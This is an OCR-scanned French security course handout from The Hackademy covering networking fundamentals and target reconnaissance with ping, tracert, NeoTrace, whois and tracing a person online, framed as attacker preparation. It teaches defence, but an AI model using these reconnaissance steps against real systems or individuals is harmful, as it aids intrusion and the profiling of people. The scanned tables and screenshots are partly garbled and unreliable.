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Important

Ce polycopié de cours de The Hackademy a pour objectif de contribuer a une meilleure compréhension
des risques de sécurité liés a l'usage de I'outil informatique, et ainsi, permettre de s'en protéger plus
efficacement. Il sera utile aux administrateurs systéme et réseau, aux développeurs, et a tout
professionnel travaillant avec Internet. Si vous étes soucieux de comprendre comment un pirate pourrait
tenter de vous attaquer afin d'étre a méme de déjouer ses tentatives, ce cours vous est destiné.
Cependant aucune garantie n'est donnée que ce contenu va vous permettre de vous protéger de
maniere totale, mais vous donnera les éléments pour mettre en place une politique de management
sécurité efficace. De plus, ce cours ne peut avoir pour vocation de couvrir I'ensemble des sujets liés a la
sécurité de maniére exhaustive : nous vous détaillons les méthodes d'attaque courantes, et vous
fournissons les éléments pour vous en protéger.

The Hackademy et DMP ne sauraient étre tenus pour responsable des dommages éventuels causés
par une application des méthodes présentées ici sur un systéme.

Il est formellement interdit par la loi d'appliquer les techniques d'attaque présentées dans cette
formation sur un systéme que vous ne possédez pas. Vous pouvez cependant les appliquer sur vos
systémes informatiques a des fins de tests de vulnérabilités, en gardant a I'esprit que cela représente
toujours des risques pour la stabilité des systémes audités.

Avertissement

Il est essentiel de comprendre que si ces méthodes sont ici présentées, c'est avant tout dans une
optique de compréhension générale de la sécurité et des moyens mis en oeuvre par les pirates, et ce
dans le seul et unique but, de pouvoir lutter contre ce danger.

De plus, ces méthodes de protection s'appliquent autant aux entreprises qu'aux particuliers. En effet, en
dehors du nombre de documents privés que vous possédez sur votre ordinateur, un éventuel pirate
pourrait vouloir se servir de votre systeme comme d'une passerelle dans le but de ne pas étre retrouve.
Dans ce cas, se serait a vous, en tant que personne physique ou morale, de prouver votre innocence.
De plus, une politique de sécurité convenable est de réinstaller entierement votre systéme en cas de
piratage, avec la perte de temps et de finance que cela implique.

Auteurs

Nous tenons a remercier pour leur participation a I'élaboration de cette formation et a I'écriture de
ce cours :

® CrashFr (crashfr@thehackademy.net)
e Clad Strife (clad@thehackademy.net)
e Xdream Blue (xdream@thehackademy.net)
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SOMNMAIRE
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Chapitre 1 : Les réseaux
1. Notions réseau
2. Topologie réseau
3. Décomposition d'URL
4. Suite TCP/IP

Chapitre 2 : Recherches d'informations

1. La recherche de données sur internet
2. Renseignements sur un systéme cible

Chapitre 3 : Attaques de services réseaux

1. Recherche de failles

Chapitre 4 : Attaque physique
1. Le BIOS

Chapitre 5 : contrdle a distance et espionnage

1. Espionnage de systéme
2. Prise de controle a distance

Chapitre 6 : Detection Trojan / Keylogger

1. Ports ouverts
2. Processus mémoire
3. Base de registre

Chapitre 7: Stéganographie, cryptographie
1. PGP / GPG
2. Stéganographie

Chapitre 8: Cracking de mots de passes
1. Qu'es ce que le cracking
2. Fichiers password
3. Services
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Chapitre 9: Anonymat
1. Proxy enchainés
2. proxy paralléle

Chapitre 12: Scripts malicieux
1. Batch
2. ActiveX

The Hackademy DMP -5/99- SYSDREAM



The HACKADEMY SCHOOL (-
% = lg% white hat hacking I_/

CHAPITRE

Les réseaux

Les réseaux informatiques, désignent un ensemble de machines interconnectées entre elles, pouvant
communiquer ensemble via différents supports physique et protocoles de communications. Internet est le
plus grand réseau informatique au monde. Il permet, a toute machine connectée de communiquer avec
n'importe quelle autre machine du réseau. Lorsque deux machines communiquent ensemble, on dit
gu'elles fonctionnent en mode client / serveur. Le serveur propose des services (partage de resources) et
le client les utilise. On peut comparer cela a une entreprise vendant un service a divers clients
succeptibles de les acheter. Pour qu'une communication client / serveur puisse étre établie, le serveur et
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le client doivent utiliser les méme protocoles (méthodes de communication). En effet, si un frangais
désire commander un produit au Etats-unis sans savoir parler anglais, une communication téléphonique
ne pourra étre établie entre le vendeur (serveur) et le client.

I - Topologie reseau

Il existe 3 types de topologie physique pour interconnecter les machines d'un reseau.

BUS

=

===0

I

C'est la topologie la plus simple et la plus traditionnelle pour un réseau Ethernet (10BASEZ2). Un cable
coaxial court d'une machine a l'autre. Cette topologie est facile a mettre en oeuvre mais le probléme est
que si l'une de ses connection tombe en panne alors c'est tout le réseau qui devient indisponible.

ETOILE

Les réseaux plus complexes sont batis autour d'une topologie en étoile. Les reseaux en étoile disposent
d'une boite de jonction appelée concentrateur (switch ou hub).Tous les ordinateurs se connectent au
concentrateur qui gére les communications entre ordinateurs (10BASE-T).
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ANNEAU

Dans une topologie en anneau (Token Ring) le cablage et I'organisation matérielle sont semblables a
ceux d'un réseau en étoile mais au lieu de disposer d'un hub en son centre, il y a un MAU (Multistation
Access Unit). Le MAU est fonctionnellement identique a un Hub mais est spécialement utilisé pour les
réseaux Token Ring et non pour les reseaux Ethernet. Le MAU gére un peu différemment les
communications entre ordinateurs par rapport au Hub.

Sur Internet, les machines sont connectées a des réseaux, qui sont divisés en sous-réseaux. Chaque
ordinateur posséde une adresse unique, I'adresse IP. Une adresse IP est composée de 4 octets (ex:
217.12.3.1). Pour avoir son IP on tapes la commande winipcfg (win9x/winme) ou ipconfig
(winnt/win2k/winxp). Cet ensemble d'octet defini une adresse unique, avec une partie indiquant I'adresse
du réseau et l'autre I'adresse de I'hote (machine).

Les adresses sur Internet son organisées en 5 classes (A,B,C,D,E).
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Nb de
Classe Format IP Plage IP Postes Max Exemples
Classe . 62.0.0.1 jusqu'a
A N.H.H.H 1xxxa127.x.x.x 167772 62 255 255 255
Classe 128.0.x.x a 129.10.0.1 -->
B N-N-H.H 191.255.x.x 65536 129.10.255.255
Classe 192.0.0.x a
c N.N.N.H 293 255 255 x 255 193.20.2.1 --> 193.20.2.255
Classe Reserveé pour le . Cas 244444
D Multicasting (visio) 224 2239 particulier,
R ) pas de
éservé pour distinction " ilieati "
Classe " . Isunc Utilisation futur
E buts . 240 a 255 Network/Hos
experimentaux” t

Adresses particuliéres :

127.0.0.1 localhost ou loopback

62.0.0.0 désigne le réseau de classe A (tous les bits H a 0).

62.255.255.255 designe toute les machines d'un réseau de classe A (tous les bits H a 1).

Adresses IP qui de doivent jamais étre routées vers Internet et utilisées pour les réseaux locaux :
10.0.0.1 --> 10.255.255.254

172.16.0.1 --> 172.31.255.254

192.168.0.1 --> 192.168.255.254

Les adresses IP permettent de faire des sous-réseaux dans un réseau, par exemple on peut faire 255
réseaux de classe C a partir d'un réseau de classe B, on appel ¢a le "Subnetting". En effet , dés que I'on
crée un réseau on utilise ce que I'on appele un "masque de sous-réseau" qui permet de faire la
distinction entre la partie réseau et héte d'une IP mais aussi pour savoir si I'néte de destination est local
ou distante.

Pour visualiser les pages web lorsque I'on surf, on utilise un client HTTP (Internet explorer, Netscape,
etc..) pour se connecter a un serveur HTTP contenant en général des pages HTML.

HTTP (HyperText Transfer Protocol):
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Le HTTP est un protocole de transfert hypertexte qui permet la transmission séparée et rapide des
images et du texte d'un document. HTTP fait parti des protocoles de la couche application. Dés que les
documents sont transmis au client, le serveur HTTP interrompe la liaison. Généralement le service HTTP
se trouve sur le port 80 du serveur. Nous reviendrons sur les ports de communications un peu plus loin

dans le cours.

Serveur Client

1
r Soumet une requete
au serveur pour
obternir un document
html dont 1'adresse
correspond a 1'url

Memorizse et transmet b entré par 1'utili-
le document demandé gateur.
par le client. il
%{__\\__@\_ﬁm

% @f

URL (Uniform Resource Locator):

L'URL permet au client de savoir ou aller chercher un document (elle représente I'ensemble de la requéte
envoyee par I'émetteur) par exemple : http://www.thehackademy.net:80/index.html

Une URL peut étre decomposé de la fagon suivante:

http Protocole de communication (http, https, ftp, etc)
WWW Nom du serveur

dmpfrance.com Nom de domaine

80 Port sur lequel le client se connecte

index.html Fichier que I'on désire récupérer

Cette URL permet donc de récupérer le fichier index.html sur trouvant sur le serveur www faisant parti du
domaine dmpfrance.com en utilisant le service HTTP présent sur le port 80. Le port de connexion est
trés souvent homis car a chaque service est attribué un port par défaut.

Le terme TCP/IP se rapporte surtout a deux protocoles de réseau; TCP et IP qui sont les plus utilisés sur
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Internet. Ces 2 protocoles font partie d'un ensemble de protocole appelés "suite TCP/IP" (FTP, HTTP,
SMTP, ARP etc...) cette suite assure le transport des données pour tous les services Internet. Les 2
types de protocoles qui nous intéressent sont les protocoles de niveau Réseau et les protocoles de
niveau Transport. Vous trouverez ci-dessous la liste des couches TCP/IP permettant la compréhension
de l'interaction entre les divers composants permettant la transmission d'un paquet de données entre 2
machines. Chaque protocole est détaillé dans une RFC (Request For Comment) disponible sur Internet.

LEthemet

[rata Link
¥ “\““‘i
ARP ‘ IF ‘
_',/" "‘\.‘_ Metwaork

‘ TP ‘ ‘ LI ‘ ‘ 1UME ‘
Transport

F— HTIP ‘{ NS ‘ ‘{ PLMG ‘

=1 SMTP ~{ TETE ‘

| e | BoOTE

LHCP

Application

Lorsque 2 ordinateurs communiquent entre eux, ils utilisent le plus souvent TCP ou UDP (couche 4) pour
le transport des données et IP (couche 3) pour le routage. Donc si I'on utilise TCP ou UDP, on emploie
toujours IP comme protocole de couche 3. Au niveau d'un réseau local, avant qu'une machine puisse
utiliser le protocole IP, il faut qu'elle connaisse I'adresse physique de la machine avec laquelle elle désire
communiquer. Pour cela, elle utilisera le protocole ARP faisant parti de la méme couche que le protocole
IP.

ARP

Chaque machine posséde une interface lui permettant de se connecter a un réseau. Cette interface
matérielle est appellé NIC (Network Interface Card). Le plus souvent c'est une carte réseau de type
Ethernet. Chaque adresse posséde un numéro de série qui représente sont adresse physique. Pour
afficher les adresses physique de vos interfaces, il vous suffit de taper « ipconfig /all » dans une console
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MS-DOS. Comme vous pourrez le constater, une adresse MAC est composée de 6 octets. Les 3
premiers permettent d'identifier le constructeur, et les 3 derniers sont normalement uniques pour chaque
carte réseau du méme fabriquant. Il est important de noté que le protocole ARP n'est utilisé que sur les
réseaux locaux et ne peut donc pas transiter Internet. Voici le datagramme du protocole ARP :

0 31
Type de matériel Type de protocole
Longueur MAC Longueur IP Opération
Adresse MAC source (octets 0-3)
Adresse MAC source (octets 4-5) Adresse IP source (octets 0-1)
Adresse IP source (octets 2-3) Adresse MAC destination (octets 0-1)

Adresse MAC destination (octets 2-5)
Adresse IP destination (octet 0-3)

RFC du protocole ARP : http://www.networksorcery.com/enp/protocol/arp.htm

IP

IP fait parti de la couche réseau. Il assure la livraison des paquets pour tous les protocoles de la suite
TCP/IP. Les données qui franchissent la couche IP sont appellées "“datagramme IP" ou "Paquet IP".
L'en-téte IP minimale fait 5 mots de 4 octets, soit 20 octets. S'il y a des options la taille maximale peut
atteindre 60 octets. Un Datagramme IP est constitué de plusieurs parties. La premiere partie, I'en-téte est
constitué de plusieurs informations, dont I'adressse IP de I'emeteur, du destinataire mais aussi
I'identification du protocole utilisé, le TTL, le type de services et autres comme vous pouvez le voir ci-
dessous:

0 31
Version Longueu Type de service Longueur totale
r
Identification Flags Fragmentation offset
TTL Protocole Checksum de l'en-téte

Adresse IP source
Adresse IP destination
Options Padding
Données

La deuxiéme partie du datagramme contient donc les données a envoyer. IP peut décomposer une
information en plusieurs paquets de petites tailles (routeurs). La taille maximale d'une trame est appelée
MTU (Maximum Transfer Unit), elle entrainera la fragmentation du datagramme si celui-ci a une taille
plus importante que le MTU du réseau.
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Type de réseau MTU (en octets)

Arpanet 1000
Ethernet 1500
FDDI 4470

Donc pour atteindre le destinataire un paquet va passer par des routeurs et emprunter des supports
physiques variés. Il n'y a pas de chemin unique pour acheminer les paquets d'un émetteur vers la
machine destinataire.

RFC du protocole IP : http://www.networksorcery.com/enp/protocol/ip.htm

UDP

Le protocole UDP (User Datagram Protocol) est un protocole non orienté connexion de la couche 4. Ce
protocole est tres simple étant donné qu'il ne fournit pas de contrdle d'erreurs (il n'est pas orienté
connexion comme TCP). Il ne peut pas avertir I'emeteur si le packet a été bien regu par le destinataire ou
pas. UDP envoit les informations dans un seul paquet. Comme ce protocole est tres minimaliste son en-
tete est trés simple:

Port source Port destination
Longueur Checksum
Données

Port Source : Port correspondant a I'application émettrice du datagramme.

Port Destination : Port correpondant a I'application de la machine émettrice a laquelle on s'adresse.
Longueur : Précise la longueur totale du datagramme, en-téte comprise (en-tete minimale est de 8bits).
Checksum (somme de contrdle) : |l s'agit d'une somme réalisée de telle fagon a pouvoir contréler
I'intégrité du datagramme. Les serveurs DNS utilisent le protocole UDP pour communiquer.

RFC du protocole UDP : http://www.networksorcery.com/enp/protocol/udp.htm

TCP

TCP (contrairement a UDP) est un protocole fiable (orienté connexion) car il intégre des mecanismes qui
permettent d'assurer la bonne délivrance des paquets qu'il achemine entre 2 machines se trouvant
chacune a l'autre bout du web (remise en ordre des paquets, retransmission des paquets perdus). TCP
facilite le transfert de fichiers et les sessions a distances par l'intermédiaire de transmission de flux. Ce
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flux garanti que les données arriveront dans un ordre et un état identique a celui d'emission. Le systeme
TCP repose sur un circuit virtuel qui est établi entre le serveur et le client. Pour ouvrir ce circuit il faut
effectuer le processus d'établissement de connexion en trois temps (three-way handshake). Le client
effectue d'abord une demande de connexion auprés du serveur. Ce dernier lui indique alors qu'il est prét
et qu'il attend une confirmation. Le client doit enfin faire savoir au serveur qu'il maintient toujours sa

demande. Le circuit est ouvert , la communication peut commencer et les données peuvent circuler dans
les 2 directions (full-duplex).

I Le client envoi une requete I
de connexion spécifiantun

= port sur lequel il veut se _" =
—_— connecter. _— —-—
Client Server
l Le senveur repond avec un L
——i acquittement et une file

d'attente pour la connexion. =

Le client remvoi un L

acquittement et le circuit
est ouvert.

Send SY M)

Reoeive 3T
Send SYNy +ACK x+L)

Recoive SYN+ACK
Send ACK(p+L)

N\

Recrive ACK

x et y étant des numéro de séquence initial (ISN, Initial Sequence Number). Les numéros de séquences
assurent la fiabilité des communications, ils constituent un compteur de 32bits (4 milliard de valeur
possibles). Leur premiere fonction est d'assurer que les paquets sont recus dans le bon ordre et
qu'aucun d'eux n'a été perdu en cours de route.
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Datagramme TCP:

0 31
Port source Port destination
Numéro de séquence
Numéro d'acquitement
Taille Réservé Code Window
Checksum Pointeur urgent
Options Bourrage
Données

Services et Ports

Chaque machine posséde 65535 ports qu'elle peut utiliser pour communiquer avec une autre machine.
Ces ports sont utilisés par les serveurs pour proposer des services. Chaque service se voit appliqué un
port d'écoute permettant de détecter une tentative de connexion de la part d'un client. Vous pouvez
comparer un port d'une machine a une porte d'une maison. Les ports on 3 etats :

- Ouvert (indique que le port est en communication)
- En écoute (indique que le port attend une connexion)
- Fermé (indique que le port est inutilisé)

Lorsque g'une application désire proposer un service sur le réseau, elle met un port en écoute. Ces
applications sont appélés deamons ou serveurs (par ex: ftpd est un deamon FTP). Pour afficher |'état
des ports de votre machine, il vous suffit de taper « netstat -an » dans une console MS-DOS :

WWINDOWSh system32 . cmd.exe
:NDocuments and SettingssCrashFrinetstat —an

Connexions actives

Etat

LISTEMING
LISTEMING
LISTEMING
LISTEMING
LISTEMING
LISTEMING
LISTEMING

dres
.a.8

a.
a.
a.
a.
a.
a.

™
a.
a.
a.
a.
a.
a.
a.
*
3%
*
%
%
%
*
%
*
%
%

)

SEmaEmmoo
SEEDE DS

68.231.99:123
1331.99:137
S231.99:138

]

a

a.
a.
a.
a.
a.
a.
*:
3
a*
a*:
*:
*:
3z
a*
D
*:
*:

Ci-dessous les principaux Services proposé sur le Web et leur port par défaut :
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Protocole des services

HTTP

HTTPS

DNS

FTP (File Transfer Protocol)

SSH

Telnet

SMTP (Simple Mail Transfer Protocol)
POP3

Finger

NNTP (Network News Transfer
Protocol)

The Hackademy DMP
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Application

Apache, IIS

Apache, IIS

Bind, Serveur DNS Microsoft

vsftpd, ServU

Sshd

telnetd

Microsoft Exchange Server, Sendmail
FetchMail, FTgate

fingerd

MES, nntpd

il

Port
80
443
53
21
22
23
25
110
79

119

CHAPITRE I
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Recherches d'informations

Qu'elle soit informaticienne, pirate ou novice, une personne doit étre a méme de mettre a sa contribution
toutes les ressources qui lui sont a portée de main. La premiére zone d'information qu'ai une personne
dans ce domaine n'est plus la littérature. C'est Internet.

Savoir mener des recherches efficaces sur Internet est la clef de la réussite. Personne n'a la science
infuse, mais le rassemblement des masses de données sur un seul et méme réseau permet a n'importe
qui d'avoir accés a n'importe quel savoir.

Les sources d'informations sur le piratage ne sont pas aussi rares que I'on pourrait le croire. Certes, les
sites illégaux diffusant moults "cracks" ou tutoriaux illégaux sont difficilement repérables. En revanche les
sites légaux et sur le théme du piratage sont aussi nombreux que leurs sujets sont diversifiés.

Les sites sur la sécurité informatique sont de biens meilleures sources d'informations que des pages
personnelles sur le piratage. En effet ce sont en général des personnes qualifiées qui adminisitrent ces
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sites, et non pas des personnes en carence de savoir. Par conséquent I'on ne saurait trop vous
recommender ces sites. lIs fournissent une documentation généralement riches en information et offrent
de nombreux points d'acces vers des tutoriaux qui s'adressent aussi bien aux débutants qu'a des
personnes qualifiées.

Nous n'oserions pas vous assalillir d'adresses URL dans cette partie du cours, pour au moins deux
raisons.

- Il n'existe pas de site référentiel a la sécurité informatique.

- Des adresses URL sont disponibles a la fin de ce cours.

Les sites sur les vulnérabilités sont des mines d'or en matiére de piratage. lls servent
(malheureusement ?) aussi bien aux administrateurs réseaux soucieux d'établir des stratégies de
sécurité planifiées qu'aux pirates. Ce sont souvent de véritables bases de données en matieres de
failles, de bugs, et de problemes relatifs a la sécurité informatique. Il serait dommage pour un pirate de
chercher a s'attaquer a un serveur sans jamais se réferrer a ces sites phares. Ainsi n'importe qui peut
évaluer la sécurité de son systeme a partir des failles connues et recensées par ces sites. A l'identique
des sites sur la sécurité informatique, vous trouverez quelques adresses phares en fin de cours.

Les moteurs de recherche sont également de puissants alliés. Permettant de rechercher des sites en
tout genres sur le sujet, ils sont toutefois a mettre dans des catégories a part. Les liens vers les
nombreux sites qu'ils créent ne sont parfois pas de bonnes références. En revanche, avec un peu
d'habitude, vous apprendrez rapidement a mener des recherches efficaces. Les mots clefs a taper sont
par exemple :

sécurité + n (ou n représente l'objet sur lequel vous portez vos recherches)

"sécurité des n" (ou n représente cette fois plusieurs objets tels que "serveurs" "routeurs" etc.)

Vous pouvez également rechercher de la documentation plus généralisée sur des dispositifs de sécurité
en ne tapant que des mots clefs comme "firewalls".

Les rebonds de sites en sites s'effectuent grace aux sections de liens que mettent en place les
webmasters. D'un lien sur un site vous passez a un autre. Cette solution de recherche a un double cété.
D'une part vous tomberez souvent sur des sites rarement visités, car mal représentés, et qui sont
pourtant d'excellentes sources d'informations. D'autre part vous tomberez souvent sur des liens morts ou
des sites non mis a jour. C'est une chasse au trésor, en moins fastidieux : on voit du paysage !

Remarque : vous noterez que I'on n'aborde dans nos sujets de recherche qu'un angle de vue sur la
sécurité informatique. En effet, si le piratage peut amener a mieux comprendre la sécurité, alors le
contraire est tout aussi vérifiable. Pouvoir effectuer ce chemin en double-sens est un atout.

I — Renseigl

Une attaque a I'aveugle sur un systéme est, 99% du temps, inefficace. Il est absolument nécessaire
d'entamer une collecte d'informations sur le systeme visé, dans le but d'élargir ses possibilités d'attaques
et de s'offrir ainsi plus de flexibilité sur le choix des méthodes d'attaques. La stratégie est aussi
importante que la manceuvre elle-méme. Manceuvrer sans but précis est une perte de temps. Dans les
explications qui vont suivre nous verrons quels sont les différents moyens de se renseigner sur sa cible,
et comment agir en conséquence des informations collectées, en détaillant les différents procédés
d'attaques traditionnelles que vous serez a méme de reproduire en toute simplicité.

1 - Localiser géographiquement le systeme cible.
La localisation géographique d'un systéme donné est assez utile, mais pas essentiel. Cela va permettre
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de définir dés le départ quelles peuvent étre certaines techniques a méme d'étre utilisées lors de
I'attaque du systéme, ou méme de compléter la base d'informations a établir. Pour localiser
géographiquement un serveur le pirate utilisera un traceroute graphique comme nous le verrons un peu
plus loin dans le cours.

a - S'orienter par le nom d'héte.

Afin d'obtenir le nom d'héte d'un systéme, si vous n'en avez que l'adresse IP par exemple, utilisez la
fonction Ping de votre systéme, grace a I'outil adéquat sous DOS :

1. Allez sous MS-DOS (Démarrer, Executer, et tapez "command").

2. Tapez la commande ping.

3. Sur votre écran défilent les différentes options de paramétrage de I'outil Ping.
4. Tapez ping -a [adresse IP] afin de résoudre le nom d'héte d'une adresse |P.

C s WINDOWS~Bureaurping | —al 193.252.1.2
Envoi d’une reguéte ’'ping’ sur AMontpellier—281-1-3-2.abo.wanadoo.fr [193.252.1.

32 octets de données :

123.252.1.2 octets=32 temps=181 ms TTL=11%
123.252.1.2 octets=32 temps=75% ms TTL=11%
123.252.1.2 octets=32 temps=73 ms TTL=11%
123.252.1.2 octets=32 temps=181 ms TTL=11%

Statistiques Ping pour 193.252.1.2:

Paguets : envoyés = 4, recus = 4, perdus = B {perte Bx).
Durée approximative des houcles en milli—secondes :

minimum = 23ms, maximum = 1@81ims, movenne = 27ms

5. Le nom d'héte, comme sur l'image, peut révéler de précieuses informations. Sur I'exemple on sait
que l'abonné habite Montpellier, ou dans sa bordure, et qu'il est abonné a Wanadoo en France.

Utilisation de ping :

Ping est un outil de statistiques fonctionnant sous MS-DOS, dont l'intérét premier est de vérifier
I'existence ou non d'un systéme sur le réseau. Il fonctionne par I'envoi de paquets ICMP_echo_request,
auxquels les systémes concernés répondent par des paquets ICMP_echo_reply. C'est-a-dire que le
systéme émetteur va faire un envoi d'un paquet dans le but que la machine cible lui réponde. Ping
integre diverses fonctionnalités. Afin de toutes les visualiser tapez ping sous DOS.
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G WINDOWS~Bureau>ping

Utilisation : ping [—t1 [-al [-n échos] [-1 taillel [—
[-» MbhSauts] [—= MNhSauts] [[-j ListeHbtes]
[-w Délail ListeDestination

pServ]
|

Options =
e Envoie la requéte ping sur 1'hote spécifié Jusgu
interruption. Entrez Ctrl-fArrét pour afficher les
statistigues et continuer, Ctrl-C pour arvéter.
Recherche les noms d'hite a partir des adresses.
échos Hombre de requétes d'écho i envoyer.
taille Envoie la taille du tampon.
Active 1’indicateur He pas fragmenter dans le paguet.
i vie Durée de wie.
TypServ Type de service.
MhSauts Enregistre 1’itinéraire pour le nombre de sauts.
HhSauts Dateur pour le nombre de sauts.
j ListeHiGtes Itinéraire source libre parmi la liste d’hites.
ListeHites Itinéraire source strict parmi la liste d'hites.
Délai Délai d'attente pour chague réponse, en millisecondes.

1

Savoir lire un compte-rendu de I'outil ping est trés simple.

C s WINDOWS~Bureaurping 193.252.1.2
Envoi d'une requéte *ping’ sur 193.252.1.2 avec 32 octets de données :

octets=32 temps=131 ms TTL=11%
octetz=32 temps=1i4 ms TTL=119%
octets=32 temps=145 ms TTL=11%
octets=32 temps==231 ms TTL=119%

Réponse de 193.252.1.2
Réponse de 193.252.1.2
Réponse de 193.252.1.2

Réponse de 193.252.1.2

Statistigues Ping pour 193.252_.41_.2:

Pagquets : envoyés = 4, recus = 4, perdus = B {perte Bx),
Durée approximative des houcles en milli—secondes :

minimum = 1i4ms, maximum = 23ims,. moyenne = 155ms

Dans le champ réponse vous sont indiqués :

- en octets la taille du paquet que vous avez envoyé ;
- en millisecondes le temps de réponse du systéme ciblé ;
- etlavaleurdu TTL lorsque le paquet est arrivé a destination.

Quatres requétes ICMP_echo_request sont envoyées lors d'une utilisation courante de Ping, afin de bien
s'assurer des résultats.

b - S'orienter par un tragage de la route d'acheminement des données.

Tracer la route qu'emprunte un paquet de donnée pour aller d'un point A a un point B peut-étre utile afin
de déterminer, par exemple, les différentes zones géographiques qu'il traverse, ou encore le dernier
routeur emprunté pour I'acheminement des données. Pour effectuer ce processus, utilisez I'outil Tracert
de votre systeme.

1. Allez sous MS-DOS.

2. Tapez tracert.

3. S'affichent alors les options de paramétrage, tout comme pour Ping.

4. On ne les utilisera pas dans I'absolu, donc tapez simplement tracert [Adresse IP]
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C:SWINDOUS~Bureau>tracert wuyw.caramail.com

Détermination de 1'itinéraire vers wwuw.caramail.com [195.68.99.281
avec un maximum de 3@ sauts =

5 ms 55 ¢ 63 ms  Bhoaliy B e Aus sA W% R AN
ms bE = 75 ® 193.253.6.145
159 g% 56 57 P4-8_nraubddl _Auvbervilliers.francetelecom.net [1

67 m= 5% 5% P5—BA_ntaubhZ2fl Avbervilliers._ francetelecom_net [1
126.1421
60 m= 70 P5—BA_ntauvbldl Avbervilliers._ francetelecom_net [1
-126.1811
6@ ms 68 P?-B.noperx181 .Paris.francetelecom.net [193.251.1

67 65 Colt—FR-6675.cipb.giga.parix.net [198.32_.247_141

58 79 MLS—wat .FEY-1 .fr.colt.net [195.68.85.18%1]
68 m 63 m T wyw.caramail.com [195.68.99.281]1

Itinéraire déterminé.

5. Ici la détermination de l'itinéraire s'est terminée sans problemes, et I'on sait maintenant par quelles
machines sont acheminés nos paquets.

Utilisation de Tracert :

Tracert est I'abbréviation de "Trace Route". L'objectif du logiciel est la mise en lumiére du chemin
emprunté par un paquet de données pour atteindre un point précis d'un réseau. Il peut étre utilisé pour
I'évaluation des performances d'un réseau, pour évaluer a quel niveau peuvent se situe des points de
congestion ou localiser des problémes d'infrastrucutres.

Tracert intégre diverses fonctionnalités. Afin de toutes les visualiser tapez tracert sous DOS.

G UWINDOWS~Bureaurtracert

Utilisation = tracert [—d] [-h SautsMaxil [—j ListeHites] [—w délail MomCible

Me pas convertir les adresses en noms d'hites.
Saut=Maxi Mombre maximum de =zauts pour rechercher la cihle.
j ListeHotes Itinéraire source libre parmi la liste des hites.
délai Attente d'un délai en millisecondes pour chague réponse.

G oS UINDOWS ~Bureawr

Savoir lire un compte-rendu de l'outil tracert est trés simple.

Dans le tableau des résultats vous avez un classement des systémes relais de données. Les délais en
millisecondes indiquent des résultats sur le temps qu'il a fallu pour contacter chaque systéme de relai,
sachant que cette tentative se fait par trois fois. Dans la derniére colonne se trouvent les noms d'hétes
des systemes de relais, avec leurs translations en adresses IP.
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C = WINDOWS“Bureaurtracert wuww.caramall.com

Détermination de 1'itinéraire vers www.caramail.com [195.68.99.28]

avec un maximum de 30 sauts =

BE § 63 ms N Latiy B

68 ms 75 ms 1923.253.6.145
56 m= 52 m= P4-B_nrawvbh3ddi_Avbervilliers._francetelecom.net [1

57 P5—8.ntaub2Bl .Aubervilliers . francetelecom.net [1
7a P5—8.ntaublBl .Auvbervilliers . francetelecom.net [1
68 P?-8._noprx1@1 .Paris . francetelecom.net [193.251.1
65 Colt—-FR-6675.cipbhb.giga.parix.net [178.32.247.141

79 s MLS—wat.FE?-1.fr.colt.net [195.68.85.1871]
18 68 ms 63 & T wi.caramail.com [195.68.99.281

Itinéraire déterminé.

Pour localiser géographiquement un routeur, le pirate utilisera un logiciel comme « neotrace » qui
maintient a jour la liste des principaux routeurs d'internet avec leur localisation. Voici le résultat du
traceroute sur www.google.fr :

E’ﬁ MeoTrace: www.google.fr

@NéoTrace
Express

=
; ﬁ Taranto

e il s =TT ! ! ! ! = © MADRID

“Casablanca

5 3 . Click Here +
.mlj i ?!?Z__to._Up'fg__rat}E_a-=*’._7__ :

Waiting far 1 query

On pourrait penser que le serveur www.google.fr se trouve en France mais comme nous le montre
neotrace le serveur se trouve au Etats-Unis.

2 - Whois : un moyen d'obtention d'informations sur le propriétaire d'un nom de domaine

Lorsqu'un nom de domaine, "caramail.com", par exemple, est enregistré sur Internet, des informations
comme l'identité du "registrant", c'est-a-dire celui qui enregistre le nom de domaine, ou encore l'identité
du responsable technique, sont stockées dans les bases de données de prestataires de services
appropriés. Les bases de ces prestataires (ARIN, Internic, NetworksSolutions, Gandi, RIPE...) sont
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consultables gratuitement par l'intermédiaire de requétes appelées "whois" (comprendre "Who is ?").

De nombreux prestataires de ce service sont en ligne sur Internet, mais leur fiabilité a fouiller les bases
de données peut varier. Ainsi il n'est pas impossible d'avoir a mener des requétes "whois" en passant par
plusieurs prestataires.

Parmi ceux qui peuplent l'internet on en retiendra au moins trois :

- http://www.allwhois.com
- http://www.whois.net
- http://www.betterwhois.com

Utilisation assistée d'un service Whois

La premiere étape consiste a trouver un prestataire du service Whois. Utilisez n'importe quel moteur de
recherche en entrant pour mot-clef "whois". Trés vite les résultats vont tomber. Faites des recherches sur
I'ensemble du réseau Internet et pas seulement pour des prestataires de votre pays.

L'utilisation du prestataire est ensuite trés simple. Couramment le nom de domaine a rechercher sera a
taper dans une fenétre de saisie de texte. Sur le méme principe que les moteurs de recherche, le
prestataire en question se chargera ensuite de mener les recherches au sein des bases de données
auquels il a acces.

Voici un exemple de recherche avec : http://www.allwhois.com , que vous pourrez reproduire chez vous.
Sur la page principale de AllWhois, entrez dans le module de recherche le domaine sur lequel vous
portez vos recherches.

Use this VWhois Tool to:

WHOIS Lookup ithehackademy.neﬂ Gal

Lancez la recherche en cliquant sur "Search" et les résultats s'afficheront dans le cadre situé en bas de
page.
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domain: THEHACEADEMY.NET
owvner—-address: DHP
owner-address: 7, rue darboy
owner-address: 75011
owner-address: France

owner-phone: +33.143554656

owner—-fax: +33.143554646

owner-e-mail: diwpfrancelwanadoo. £fr
admin-c: DDAE1-GANDI

tech-co: DDel-GANDI

hill-c: DD61-GANDT

HServer: ns7.gandi.net 217.70.177.44
nServer: customs .gandi.net 217,70.179.35
reg created: 2002-10-25 11:25:29
expires: 2005-10-28 11:25:29
created: 2002-10-28 17:28:30
changed: 2004-04-19 14:38:03

person: LMF DMF

nic-hdl: DDA1-GANDT

addre=zz: DHFP

address: 1 wvilla du clos de Halevart
addre=ss: 7h011

address: Paris

address: France

phone: +33.143554656

fax: +33.143554644

e-mail: cl1d7ddZ ah 78087767 cToaeddddffolai-ddalficontact . gandi . net
lastupdated: 2004-12-10 17:10:31

Certains services permettent d'effectuer des whois sur les adresses IP, cela indiquera au pirate a quel
société ou organisation appartient cette IP. Comme vous pouvez le constater, le whois fourni entre autre
les serveurs DNS associés au domaine, qui pourront dans certains cas révéler |'adresse IP / nom de
toutes les machines associés au domaine.

Une personne :

Afin de rechercher des informations sur une personne, sachez pistez ses traces sur Internet. Consultez
NewsGroups, forums, pages web pouvant vous donner toute information susceptibles de vous
renseigner.

1. Sur les NewsGroups, utilisez des moteurs de recherche spécifiques aux news, comme
http://groups.google.com

